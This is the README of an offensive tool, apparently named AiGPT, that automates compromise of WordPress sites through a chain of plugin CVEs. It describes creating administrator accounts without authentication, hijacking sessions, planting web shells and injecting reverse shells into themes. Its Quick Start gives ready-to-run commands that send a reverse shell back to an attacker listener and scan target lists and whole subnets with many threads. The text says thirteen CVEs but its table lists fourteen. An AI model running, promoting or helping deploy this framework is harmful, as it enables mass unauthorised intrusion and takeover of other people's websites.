AiGPT — Automated WordPress Exploitation Framework
AiGPT is a multi‑vector exploitation tool that automates the discovery and compromise of vulnerable WordPress sites. It fingerprints installed plugins, intelligently selects the best exploit, and delivers a reverse shell — often without needing any prior authentication.
Thirteen unauthenticated CVEs are chained into a single, high‑performance framework designed for authorised penetration testing and security research.
🔥 Features
- Multi‑vector engine — 13 distinct exploit paths in one tool
- Zero‑auth admin creation — creates a WordPress administrator on 7 different vulnerable plugins
- Token / session hijacking — steals API tokens or hijacks sessions to gain admin access
- Direct SQL execution — inserts an admin user via raw SQL injection
- Direct file upload — bypasses the entire login chain and drops a web shell instantly
- Smart plugin fingerprinting — parallel probe of 12 plugins to choose the optimal attack
- Priority‑based vector selection — confirmed vulnerable plugins are attacked first
- Universal theme‑editor shell — after admin login, injects a reverse shell into the active theme
- CIDR subnet scanning — finds WordPress installations across entire network ranges
- Multi‑threaded — configurable worker count with adaptive delays
- Clean logging — console + file output with timestamps
- Graceful fallback — non‑WordPress targets are silently skipped
📦 Exploited Vulnerabilities (CVEs)
| CVE | Plugin | Type | CVSS |
|---|---|---|---|
| CVE‑2025‑3102 | SureTriggers ≤1.0.78 | Auth bypass → admin creation | 9.8 |
| CVE‑2025‑8489 | King Addons 24.12.92‑51.1.14 | AJAX role override | 9.8 |
| CVE‑2025‑4334 | Simple User Registration ≤6.3 | Registration role escalation | 9.8 |
| CVE‑2025‑6934 | Opal Estate Pro ≤1.7.5 | Unauthenticated admin creation | 9.8 |
| CVE‑2025‑8572 | Truelysell Core ≤1.8.7 | user_role parameter abuse |
9.8 |
| CVE‑2025‑68860 | Mobile Builder ≤1.4.2 | JWT auth bypass | 9.8 |
| CVE‑2025‑13618 | Mentoring ≤1.2.8 | Role restriction bypass | 9.8 |
| CVE‑2025‑11749 | AI Engine ≤3.1.3 | Token theft → admin | 9.8 |
| CVE‑2025‑34077 | Pie Register ≤3.7.1.4 | Session hijack | 9.8 |
| CVE‑2025‑13342 | Frontend Admin ≤3.28.20 | Arbitrary options → admin | 9.8 |
| CVE‑2025‑12061 | Tax Service HDM <1.2.1 | Arbitrary SQL execution | 8.6 |
| CVE‑2025‑6440 | WooCommerce Dynamic Pricing | File upload → RCE | 9.8 |
| CVE‑2026‑0740 | Ninja Forms File Uploads ≤3.3.26 | File upload → RCE | 9.8 |
| CVE‑2026‑4882 | User Reg Advanced Fields ≤1.6.20 | File upload → RCE | 9.8 |
🚀 Quick Start
Prerequisites
- Python 3.8+
pip install requests- (Optional)
pip install pyjwtfor the Mobile Builder vector
Basic Usage
Here are one‑line commands for common scenarios:
Single target
```bash
python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets target.txt
Bulk from file (fast)
python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets urls.txt --threads 20 --delay 0.3
Subnet scan
python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --subnet 192.168.0.0/24 --threads 15
Quiet output (cron/log)
python3 aigptWEF.py --lhost 10.0.0.1 --lport 8080 --targets urls.txt --no-progress > /tmp/scan.log 2>&1
Aggressive bulk (high speed)
python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets huge.txt --threads 50 --delay 0.1